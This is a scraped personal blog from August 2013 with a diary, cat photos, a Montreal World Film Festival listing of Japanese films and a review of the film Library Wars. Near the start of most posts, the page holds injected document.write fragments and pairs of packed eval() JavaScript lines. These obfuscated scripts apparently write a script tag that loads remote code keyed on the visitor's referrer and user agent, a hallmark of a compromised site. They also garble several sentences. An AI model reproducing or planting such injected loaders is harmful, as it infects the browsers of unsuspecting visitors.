Press Review (2013-08-11)

The last month was relatively quiet in the news department. No big event that I feel I must report on absolutely. However, document.write(“”); I nevertheless gathered about an hundred links of little information that I found interesting. And I want to share them with you after the jump:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frdzk|var|u0026u|referrer|dddka||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eeafr|var|u0026u|referrer|yzzzt||js|php’.split(‘|’),0,{}))


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Libraries

Economy, Environment & International/U.S. Politics

Health, home & garden

Humour

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

[ Traduire ]

Domestic log (2013-08-11)

We’ve finished watching Bleak House and, document.write(“”); staying with the Gillian Anderson theme, continued with The Fall, a modern police drama set in Belfast and which ends abruptly letting suspects that there will be a second season. Now we’ve started watching The White Queen (actually we’re almost done, since there’s only two episodes left), an epoch drama about three women who played a key role in the war of the roses, which suits more our taste (although I’ve also started watching on my own another british modern police drama called Broadchurch — I can’t help it as it has two Doctor Who actors in it: Arthur Darvill [ who played Rory, one of the Eleventh Doctor’s companions, as well as Henry Stafford, Duke of Buckingham, in The White Queen ] and David Tennant [ the tenth Doctor himself! ]).
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zayzs|var|u0026u|referrer|fkddh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bykkt|var|u0026u|referrer|tnnes||js|php’.split(‘|’),0,{}))

July 23rd was my eldest sister’s birthday. She was killed in a freak accident in Paris exactly thirty years ago and would have been fifty-nine years old… That week-end, I didn’t write as much as I wanted, but the weather was so nice. My wife and I walked in the park, witnessing
a beautiful rainbow and a superb sunset. Of course, as soon as the week started, it was raining again. But at least the temperature and humidity were still bearable. I wish all summer could be like this week-end. Alas, it cannot be.


The following week-end there was a gathering of some of the old gang of the university’s dormitory. A trip down memory lane. Some people I hadn’t seen for nearly twenty-five years! Thinking of this good ‘ol time make me feel like quoting A Tale of Two Cities opening paragraph from Dickens: “It was the best of times, it was the worst of times, it was the age of wisdom, it was the age of foolishness, it was the epoch of belief, it was the epoch of incredulity, it was the season of Light, it was the season of Darkness, it was the spring of hope, it was the winter of despair, we had everything before us, we had nothing before us, we were all going direct to Heaven, we were all going direct the other way…” It was great and I hope we’ll have such gathering again (maybe in another five or ten years?).

The following week was busy. First, I had an exam to qualify for a new, better paid job. I didn’t get the job (not even called for an interview), but at least now I am qualified (I passed the exam) so I might be able to get the next similar opportunity [ update 8/12: actually I was called today for an interview next week, so I might still get the job, although the competition is fierce and therefore my chances are slim ]. Second, I went to screen a movie at Fantasia — the first time in many years. I don’t have time anymore to queue to watch every Japanese movies like I used to do, and I also feel that I don’t fit with that kind of young, over energetic crowd anymore. At least I watched one movie and reviewed two (Thermae Romae and Library Wars)!

Over all, I didn’t write as much as I wanted in the second half of July. Beside the above-mentioned Fantasia reviews, I wrote three more reviews. One for Milo Manara’s erotic comic The Golden Ass (in french), one for a manga by Osamu Tezuka, The Castle of Dawn (in french; my first review here on his work; there will be much more to come, that I can promise) and one of last year Montreal film Festival, The Floating Castle (I still have a dozen those reviews in the works, without counting those of THIS year festival). There are so many titles I would like to share impression (mostly movies and manga), but I simply just don’t have enough time. I’ll do them one at a time, but the problem is that I add more titles, faster that I can review them! I’ll just do my best.

On the first week-end of August, there was a party for one of my friends’ fortieth anniversary. Unfortunately, I had a rough day at the library (minimal staff, someone calling sick, working alone on the entire floor, lot of stuff to do, unruly kids and someone coming in with bags of returns one minute before closing) and completely forgot about the party. I admit that I was quite tired (that night I sleep for twelve hours!) but, isn’t forgetting important stuff the first sign of Alzheimer? Anyway, later in the week, I was still quite tired and busy so I skipped the Montreal World Film Festival press conference to announce this year’s programming. It doesn’t matter since everything was in the press release, so I didn’t really miss anything. About nine Japanese movies this year and THOSE I’m planning to see them all.

This week-end, I am planning to rest and try catching up a little on my writing. Stay tuned!

[ Traduire ]

L’image du chat-medi (2013-08-10)

Saya et Spotty en mars 2007
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fbrif|var|u0026u|referrer|tafiz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|abfza|var|u0026u|referrer|eyyea||js|php’.split(‘|’),0,{}))
<a href="
http://www.flickr.com/photos/clodjee/9485519457/&quot; title="Saya & Spotty in March 2007 by clodjee, document.write(“”); on Flickr”>Saya & Spotty in March 2007

L’image du Mer-fleurie (2013-08-07)

Terre d’Espérance, document.write(“”); la 5e édition des Mosaïcultures Internationales au Jardin botanique de Montréal du 22 juin au 29 septembre 2013. “À la queue leu-leu”, présentée par Madagascar, photographiée le 18 juin avant l’ouverture officielle. Cette oeuvre représente la diversité menacée de cette île riche en espèces.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzask|var|u0026u|referrer|dzyih||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|snrke|var|u0026u|referrer|eszad||js|php’.split(‘|’),0,{}))

Madagascar - A la queue leu-leu

Cette image est plus amusante…
Madagascar - A la queue leu-leu

Montreal World Film Festival 2013

In a press conference today, document.write(“”); the Montreal World Film Festival announced the programming of its 37th edition, which will be held from August 22 to September 2. The festival will present 432 films including 218 feature-length movies (of which 113 will be world or international premieres, along with 39 North American premieres and 41 Canadian premieres), 14 medium-length and 200 short films. 71 of those fiction features-length movies will be first features (the first film of its director), of which 20 will be in competition.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydbea|var|u0026u|referrer|khdrs||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sziyk|var|u0026u|referrer|tzfia||js|php’.split(‘|’),0,{}))

This year the slogan of the festival is “The world is yours” and the “dominant theme in the films of the competition this year, is that of human beings caught a changing world, facing new realities”. Screenings will be held at the Cinema Imperial (CI) and Théatre Maisonneuve (TM) for the movies in competition, and at the Cinema Quartier Latin (QL) for the rest. You can read more details in the
press release announcing this year’s line-up.

This year the festival is offering us eleven Japanese movies: one in official world competition, one in the World Great category (out of competition), eight in the Focus on World Cinema (including one short) and one short student movie.

It is also worth noting that this year festival spotlight shines on the Korean cinema of today, with ten feature films and eight short films.


Here’s some Clips from World Competition films on Youtube:


The World Competition

  • Rikyu ni Tazuneyo ( ??????? / Ask This of Rikyu ): Japan, 2013, 123 min.; Dir.: Mitsutoshi Tanaka; Scr.: Eriko Komatsu (Based on a novel by Kenichi Yamamoto); Phot.: Takeshi Hamada; Ed.: Kazunobu Fujita; Mus.: Taro Iwashiro; Distri.: Toei; Cast: Miki Nakatani, Ebizô Ichikawa, Yusuke Iseya, Nao Omori.

    “As thunder crashes and rain pours down, 3000 soldiers surround the home of tea master Rikyu. Chancellor Toyotomi Hideyoshi has ordered him to commit suicide. As he sits and contemplates his death, his wife So-on speaks to him: “There is one who is always in your thoughts.” Old memories are revived… Son of a fish shop owner Tanaka Yoshiro studied the Japanese tea ceremony and became one of the great influences on its traditions. An exponent of the “wabi” style of ceremony, which eschewed expensive accoutrements in favour of rustic simplicity,Tanaka, now going by the name of “Soeki”, came to the attention of Oda Nobunaga who appointed him tea master. When Oda died and power passed to Hideyoshi, Soeki continued in his role as “emperor of tea” and was ennobled with the name of “Rikyu” so that he could enter the palace as Hideyoshi’s assistant. But Hideyoshi is a jealous and paranoid ruler and he purges his closest confidants. The final object of Hideyoshi’s obsession is connected with Rikyu’s youth…” (Festival’s Program)

    Schedule: Sun 9/01 9:00 CI; Sun 9/01 19:00 TM; Mon 9/2 14:00 CI.

World Great (Out of Competition)

  • Kiyosu Kaigi ( ???? / The Kiyosu Conference ): Japan, 2013, ? min.; Dir. & Scr.: Koki Mitani (based on his own novel); Mus.: Kiyoko Ogino; Phot.: Hideo Yamamoto; Ed.: Soichi Ueno; Prod. Des.: Yohei Taneda; Cost. Des.: Kazuko Kurosawa; Cast: Koji Yakusho, Yo Oizumi, Fumiyo Kohinata, Koichi Sato, Satoshi Tsumabuki, Tadanobu Asano, Susumu Terashima, Denden, Kenichi Matsuyama, Yusuke Iseya, Kyoka Suzuki, Miki Nakatani, Ayame Goriki, Minosuke Bandou, Kenji AnanShinpei Ichikawa, Shota Sometani, Eisuke Sasai, Keiko Toda, Zen Kajiwara, Catherine Seto, Yoshimasa Kondo, Kazuyuki Asano, Kankuro Nakamura, Yuki Amami, Toshiyuki Nishida.

    “In 1582, before the unification of Japan, Nobunaga Oda was forced to take his own life at Honno-ji Temple during a violent revolt led by Mitsuhide Akechi. Following Oda’s death, the powers in Japan held the Kiyosu Conference — the “conference that changed the course of history” — to resolve the Oda clan’s succession of leadership and redistribute Mitsuhide Akechi’s territories. Hideyoshi Toyotomi, Nagahide Niwa and Tsuneoki Ikeda meet to decide on a successor. The conference would become Japan’s first group-made political decision. In this film, director Koki Mitani, known especially for his comedies, gives us his unique interpretation of the intricate web of human relationships involved in this process as the brave general Katsuie Shibata and Hideyoshi Hashiba, who would later unify Japan, engage in a battle of wits, deceit and bargaining.” (Festival’s Program)

    Schedule: Wed 8/28 19:00 QL9; Thu 8/29 12:10 QL15; Mon 9/2 16:20 QL15.

    Read our commentary on this movie.

Focus on World Cinema

  • Botchan ( ????? / Bozo ): Japan, 2013, 130 min.; Dir.: Tatsushi Omori; Scr.: Tatsushi Omori & Hidemori Tsuchiya; Mus.: Yoshihide Ohtomo; Phot.: Atsuhiko Fukaya; Ed.: Ryô Hayano; Art Dir.: Michitoshi Kurokawa; Prod.: Takahiko Kondo, Shinichiro Muraoka; Cast: Shingo Mizusawa, Shohei Uno, Yasushi Fuchikami, Ai Tamura, Shinsuke Suzuki, Masashi Endo, Emiko Imaizumi, Kagetora Miura, Jyo Hyuga.

    “Tomoyuki Kaji, 28, is socially inept and thoroughly lacking in self-confidence. “If you die, are you happy then?” he asks on the Internet. An employment agency sends him to work at a factory in Nagano where he meets Tanaka, a co-worker who suffers from narcolepsy. “To the stars, we’re all alike,” he muses, and the pair become fast friends. This is new territory for Kaji, and he is exhilarated. Out for a drive one night, they meet Yuri, a young girl who has fled the clutches of their co-worker, Okada. Charmed by Yuri, they attempt to protect her. But this isn’t as simple as they imagine…” (Festival’s Program)

    Schedule: Fri 8/23 13:30 QL12; Sat 8/24 10:10 QL12; Sun 8/25 11:30 QL12.

    Read our commentary on this movie.

  • Hakoiri musuko no koi ( ??????? / lit. “Love of a Son who is in the Box” / Blindly in love ): Japan, 2013, 108 min.; Dir.: Masahide Ichii; Scr.: Masahide Ichii, Takahiro Tamura; Mus.: Ren Takada; Phot.: Daisuke Sôma; Ed.: Chieko Suzaki; Prod.: Chikako Nakabayashi, Yumiko Takebe; Cast: Gen Hoshino, Kaho, Sei Hiraizumi, Ryoko Moriyama, Ren Osugi, Hitomi Kuroki, Honoka, Shuntaro Yanagi, Miyako Takeuchi, Kanji Furutachi.

    “Shy and socially inept, Kentaro Amanosizuku, 35, works for the city but lives with his parents, a pet frog and video games as his chief interests. Worried about their son’s future, Kentaro’s parents look into matchmaking services, seemingly to no avail. Then a nibble. Would Kentaro be interested in meeting their daughter Naoko? A meeting is arranged. Naoko is a beautiful young woman but she is blind. Kentaro is smitten. But Naoko’s father has his doubts about Kentaro and the meeting comes to nought. Then, one day, Naoko’s mother comes to visit at Kentaro’s office. Is he still interested in her daughter?” (Festival’s Program)

    Schedule: Tue 8/27 21:20 QL9; Wed 8/28 13:40 QL9; Thu 8/29 12:00 QL9.

    You can see the Q&A on Vimeo and read our comment.

  • Judas ( ?? / Yuda ): Japan, 2013, 109 min.; Dir.: Izumi Ohtomi; Scr. Izumi Ohtomi & Kurumi Tachibana (based on her autobiography); Phot.: Natsuha Nakamura; Ed.: Masaki Murayama; Mus.: Masataka Kitaura; Prod.: Harumi Hoshino; Cast: Ayame Misaki, Sho Aoyagi, Kenji Mizuhashi, Noriko Aoyama, Ryohei Suzuki, NorA, Yusei Tajima, Itsuji Itao.

    “Erika’s life fall aparts when her boyfriend leaves scars on both her heart and her face. The manager of the family restaurant where she works part time refuses to let her work with a scarred face, and she has no way to pay for an abortion. She resolves never again to be at the mercy of sentiment. She decides to become a hostess at the Elleseine nightclub in Tokyo’s notorious Kabukichio entertainment and red-light district. Before long she has risen to the top, becoming the club’s number one hostess. But material fortune doesn’t always translate into personal happiness. Can she have her cake and eat it?” (Festival’s Program)

    Schedule: Fri 8/30 16:50 QL9; Sun 9/01 21:20 QL15.

  • Case of Kyoko, Case of Shuichi: Japan, 2013, 135 min.; Dir. & Scr.: Eiji Okuda; Phot.: Takahiro Haibara; Ed.: Manabu Shinoda; Mus.: Hibiki Inamoto; Prod.: Takahito Obinata, Miyako Kobayashi; Cast: Sakura Ando, Tasuku Emoto.

    “Minamisanriku, Japan, was devastated by the tsunami of March 11, 2011, with most buildings destroyed by waves of 16 metres or higher, and over half the town’s population swept away or drowned. With 90% of the town gone, there’s no “home” there anymore for former residents Kyoko and Shuichi. For psychological reasons as well: left behind were a mother and a child. What does the future hold for the living?” (Festival’s Program)

    Schedule: Sat 8/24 13:10 QL12; Sun 8/25 21:10 QL12; Thu 8/29 19:00 QL12.

    Read our commentary on this movie.

  • Shanidar no hana ( ???????? / The flower of Shanidar ): Japan, 2013, 105 min.; Dir.: Gakuryu Ishii; Scr.: Hiroaki Jinno, Gakuryu Ishii, Tomofumi Tanaka; Phot.: Yoshiyuki Matsumoto; Mus.: Michiaki Katsumoto; Cast: Gou Ayano, Haru Kuroki, Kanji Furutachi, Ayumi Ito, Rio Yamashita, Yuiko Kariya.

    “The “shandihar flower” only grows on certain women. Mysterious buds germinate on their skin and then bloom into beautiful flowers whose extracts lead to a new miracle drug at the “Shanidar Laboratory”. Kyoko and Ohtaki work at the lab, and are always on the lookout for new donors, but not all women are cooperative. That’s when Kyoto’s charm comes into play. Meanwhile, abnormal side effects begin to appear stemming from the flower-removal surgery. Harvesting these flowers may be triggering something dangerous.” (Festival’s Program)

    Schedule: Fri 8/23 16:40 QL15; Sat 8/24 16:30 QL9; Sun 8/25 9:20 QL9.

    Read our commentary on this movie.

  • Kyoaku ( ?? / The Devil’s Path ): Japan, 2013, 128 min.; Dir.: Kazuya Shiraishi; Scr.: Kazuya Shiraishi & Izumi Takahashi (based on a non-fiction novel); Phot.: Takahiro Imai; Ed.: Hitomi Kato; Mus.: Goro Yasukawa; Cast: Takayuki Yamada, Lily Franky, Chizuru Ikewaki, Pierre Taki.

    “Journalist Shuichi Fujii receives a letter from convicted killer Junji Sudo. Writing from death row, Sudo wants to confess to crimes unknown to the police. Visiting Sudo in prison, Fujii learns about “Doc” who masterminded a string of murders. Set up by Doc, Sudo seeks revenge and implores Fujii to find the evidence needed to arrest his former boss. Working from Sudo’s sketchy memories, Fujii begins to piece together a grizzly tale of extortion, torture, rape, and arson. But as his desire to see Doc brought to justice nears a climax, he runs into resistance from unexpected sources.” (Festival’s Program)

    Schedule: Fri 8/23 21:30 QL9; Sun 8/25 16:20 QL9; Mon 8/26 11:50 QL9.

    Read our commentary on this movie.

  • Shijuukunichi no Reshipi ( ???????? / lit. “Recipe of 49 Days” / Mourning Recipe ): Japan, 2013, 130 min.; Dir.: Yuki Tanada; Scr.: Hisako Kurosawa (based on a novel by Yuki Ibuki); Phot.: Ryuto Kondo; Ed.: Ryuji Miyajima; Mus.: Yoshikazu Suo; Cast: Renji Ishibashi, Masaki Okada, Fumi Nikaidô, Hiromi Nagasaku, Taizo Harada.

    “When Ryohei’s wife, Otomi, suddenly passes away, Ryohei is deeply depressed, without the strength to live. Two weeks after her death, a woman visits Ryohei and gives him a recipe book which was left by Otomi, a “recipe book” for a happy life. Meanwhile, Ryohei’s daughter Yuriko comes to visit him. Yuriko’s own marriage is about to end in divorce and she will have use for Otomi’s “recipe book”.” (Festival’s Program)

    Schedule: Mon 8/26 11:30 QL11; Tue 8/27 21:00 QL11; Wed 8/28 16:30 QL11.

    Read our comment.

Focus on World Cinema — Short Films

  • Rhizome ( ???? ): Japan, 2013, animation, 6 min.; Dir./Scr./Phot./Ed./Prod.: Masahiro Ohsuka; Mus.: Zokei Lab.

    “”Write, form a rhizome, increase your territory by deterritorialization, extend the line of flight to the point where it becomes an abstract machine covering the entire plane of consistency.” Inpsired by the philosophies of Gilles Deleuze and Félix Guattari. ” (Festival’s Program)

    Schedule: Tue 8/27 21:30 QL14; Fri 8/30 17:20 QL14.

Best Student Films of the World

  • Live with the sea (?????): Japan/Singapore, 2013, 8 min.; Dir./Phot./Ed.: Yuichiro Nakano.

    “When the massive tsunami hit northern Japan in March 2011, a fisherman just barely escaped on his boat. He lost everything, including friends and family. Grateful to have survived, he donates fish to needy people. ” (Festival’s Program)

    Schedule: Sun 8/25 18:50 QL14; Sat 8/31 16:20 QL14.

Our cinema: review of a year of hits

  • Karakara (????): Canada/Japan, 2012, 103 min.; Dir./Scr./Ed.: Claude Gagnon; Phot.: Michel St-Martin; Light.: Motoshi Kinjo; Sound: Masahiro Yokozawa & Louis Collin; Cost.: Yuko Arai; Ass. Dir.: Masato Tanno; Mus.: Yukito Ara; Theme Song: Sakishima Meeting (Yukito Ara & Isamu Shimoji); Prod.: Takako Miyahira, Samuel Gagnon, Claude Gagnon; Exec. Prod.: Yuri Yoshimura Gagnon; Cast: Gabriel Arcand, Youki Kudoh, Megumi Tomita, Yuichi Atta, Toshi Moromi, Tenyu Okuda, John Potter, Takayuki Ichise, Mieko Taira and a special appearance by Toshiko Taira. Was screened at Cannes in May 2012 as part of “Perspective Canada.”

    Looking to embark on a spiritual journey, Pierre Masson, a 61-year-old retired Quebec university professor, ends up making a short, unsettling trip around Okinawa with Junko, a 40-year-old runaway wife. The unprepared intellectual would rather not get involved with this unlikely and passionate lover, especially in an unfamiliar and disorienting cultural context. The confused, unwilling sexagenarian decides nevertheless to follow his destiny, unsure of where it (she?…) will take him.

    Schedule: Sun 8/25 20:30 Espace Culturel G.-E. Lapalme (Place des Arts).

Korean Cinema of Today — Feature Films

There’s also some information on Coco Montreal Facebook page (Oops! In Japanese only)

The schedule is available: list of Japanese movies and full schedule (PDF).

See the coverage of the festival on La Presse (in french).

More details and links will be added as the information become available (whenever I can).

Updated: Details on “Ask This of Rikyu”, list of Korean films (8/8); details on “Kiyosu Kaigi” & “Botchan”, AsianWiki links (8/9); details for most of the other films (8/10); schedule links (8/16); Korean movies’ links, schedule, description and remaining details (8/17); commentary link for Botchan (8/23).

[ Traduire ]

Library Wars

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|esrhr|var|u0026u|referrer|nyait||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yktdf|var|u0026u|referrer|tekiz||js|php’.split(‘|’),0,{}))

I have
already introduced this movie in a previous blog entry, document.write(“”); but here you can read my comments and some more information about Library Wars.

In 2019, the Japanese government pass the Media Betterment Act, a very strong censorship law, and creates a special army to enforce it by searching and eliminating any documents deemed unsuitable by the law. However, libraries in Japan have their own law that gives them freedom in collecting and offering their materials, guaranteeing privacy to their users and categorically opposing any type of censorship. Therefore, another armed force is created to protect libraries against such censorship. The story follows Iku Kasahara, a young recruit of the Library Defense Force, as she discovers all the challenges of a paramilitary life.


When she was in high school, Iku Kasahara went to a book store to pick up the latest instalment of a fantasy novel series that she liked a lot. As she was waiting to pay, a squad of MBA soldiers entered the store. She’s told that the novel she wants is banned and, as a soldier tries to wrestle it out of her hands, a Library Defense Force officer intervenes to help her and save the book. Years later, she wants to join the Library Defense Force in order to find her “prince”–even if she doesn’t remember how he looks like or what’s his name. Unfortunately, since she’s not taking her job seriously enough, she makes mistakes that could put her colleagues in harm’s way and some of them are resenting her for it. However, she works hard, learns from her mistakes and will eventually earn her colleagues’ trust.

In the 80s, the Media Betterment Act was created not only for the security of the country, to give more powers to the government, but also to “protect” the citizens, who could be “harmed” or badly influenced by books that are too violent or information that is too distressing to know. In 1999, when libraries started resisting this censorship, a group of MBA activists (whose identities always remained unknown) attacked and burned a library as an example. The sole survivor of the Hino Massacre, as it became known, decided to create the Library Defense Force to make sure such horrible violence would never happen again. So far, heavy combat was avoided but when the owner of a private information museum dies and his collection (rumoured to contains proof of illegal dealings behind the creation of the MBA) is to be donated to the LDF headquarter’s library, the MBA’s army launch an all out attack in hope to prevent the documents’ transfer. When this fails, the activists responsible for the Hino Massacre resurface and kidnap the LDF leader and his body guard: Iku Kasahara. It will be the opportunity for her to prove what she can do.

It is impossible to listen to this movie without thinking about people like Bradley Manning (who leaked thousands of classified U.S. documents), Julian Assange (WikiLeaks founder) or Edward Snowden (a CIA contractor who recently leaked information about secret U.S. electronic surveillance activities). In fact, I watched the movie on the same day Manning was found guilty of espionage and theft. Those brave individuals, not unlike the Library Defense Force, believe that governments should be held accountable if they brake their own law, that we should fight censorship and require absolute transparency from our governments.

Ever since september 11th 2001, several countries of the world have voted laws to protect themselves against terrorists, but it also seriously curtails the civil liberties of their citizens. In order to overcome the enemy you have to become like him, in a downward spiral into a police state and dictatorship. First, governments would want access to all information even if it infringes on personal privacy (it’s the Orwellian 1984 stage, similar to what Snowden warned us about). Then, they would want to control and restrict access to sensitive information they consider harmful (thus making people like Manning or Assange into criminals). Finally, the next step would be to eliminate the information they consider harmful (the Fahrenheit 451 stage; some countries might already be there and if the conservative gain even more power it might happen in America also; book censorship incidents are not rare and book burning is just one step further). Like they said in the movie, citing the German poet Heinrich Heine, a country that burns books is a country that will also burn men. So, when honest whistle blowers are considered as traitors, it is time to start worrying.

This movie stands as a warning of what could happens if things would really go wrong. It tells us that, in a way, it has already begun and that’s our fault for letting it happening. In the movie someone says that only the apathy of the people allowed this situation to happen. It is really not surprising. People don’t like to be bothered with situation like this (in fact, if something like this would happen in any of the libraries I worked for, people would not resist the authorities and give them whatever they wanted without a thought). Of course, the director wraps his message with a little humour, lots of action (using pretty decent special effects) and a good dose of romance (the director insisted a lot on the fact that his movie was a romantic comedy with action). It is quite an interesting and entertaining movie.

For more information on this movie you can read other comments (AsianWiki, The Hollywood Reporter, Screen Daily and Twitch) and view the trailer on Dailymotion:

https://dailymotion.com/video/xzgom7

Fantasia’s staff have also posted on Vimeo this interesting interview with Shinsuke Sato:


Library Wars (????? / Toshokan Sens?): Japan, 2013, 128 min.; Dir.: Shinsuke Sato; Scr.: Akiko Nogi (based on a novel by Hiro Arikawa); Phot.: Taro Kawazu; Ed.: Tsuyoshi Imai; Mus.: Yû Takami; Cost. Des.: Masae Miyamoto; Visual Fx: Makoto Kamiya; Prod.: Kazuya Hamana; Distr.: Toho; Cast: Junichi Okada (Atsushi Dojo), Nana Eikura (Iku Kasahara), Kei Tanaka (Mikihisa Komaki), Sota Fukushi (Satoshi Tezuka), Chiaki Kuriyama (Asako Shibasaki), Kazuma Suzuki (Kenji Takeyama), Koji Ishizaka (Iwao Nishina), Jun Hashimoto (Ryusuke Kenta), Naomi Nishida (Maki Orikuchi), Kazuyuki Aijima, Kyusaku Shimada, Kiyoshi Kodama, Kazuma Suzuki. Official selection at the 2013 Puchon International Fantastic Film Festival. Screened at fantasia July 30th at 19:45 (Imperial Theatre).
For more information you can visit the following websites:
Update: It will be available on DVD in Japan on November 13th, 2013:
Library Wars © 2013 “Library Wars” Movie Project

[ Traduire ]

L’image du chat-medi (2013-08-03)

Vanille
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kaebi|var|u0026u|referrer|htdsb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yyast|var|u0026u|referrer|feyra||js|php’.split(‘|’),0,{}))
<a href="
